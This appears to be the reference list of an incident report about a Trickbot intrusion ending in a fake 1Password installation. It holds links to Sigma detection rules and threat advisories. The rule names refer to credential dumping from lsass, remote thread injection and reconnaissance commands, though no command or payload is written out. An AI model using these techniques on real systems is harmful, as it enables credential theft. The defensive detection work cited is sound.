https://github.com/SigmaHQ/sigma/blob/e7d9f1b4279a235406b61cc9c16fde9d7ab5e3ba/rules/windows/create_remote_thread/sysmon_suspicious_remote_thread.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_procdump.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_procdump_lsass.yml, https://github.com/SigmaHQ/sigma/blob/5e701a2bcb353338854c8ab47de616fe7e0e56ff/rules/windows/process_creation/win_susp_wmi_execution.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_malware_trickbot_recon_activity.yml, https://github.com/SigmaHQ/sigma/blob/e7d9f1b4279a235406b61cc9c16fde9d7ab5e3ba/rules/windows/process_creation/win_apt_unc2452_cmds.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/registry_event/sysmon_sysinternals_eula_accepted.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/process_creation/win_susp_whoami.yml, https://github.com/SigmaHQ/sigma/blob/ff0f1a0222b5100120ae3e43df18593f904c69c0/rules/windows/process_creation/win_net_enum.yml, https://github.com/SigmaHQ/sigma/blob/08ca62cc8860f4660e945805d0dd615ce75258c1/rules/windows/powershell/win_powershell_web_request.yml, https://us-cert.cisa.gov/ncas/alerts/aa21-076a, https://www.ncsc.gov.uk/news/trickbot-advisory, https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/, https://redcanary.com/blog/getsystem-offsec/, https://threatpost.com/trickbot-banking-trojan-module/167521/, Trickbot Leads Up to Fake 1Password Installation.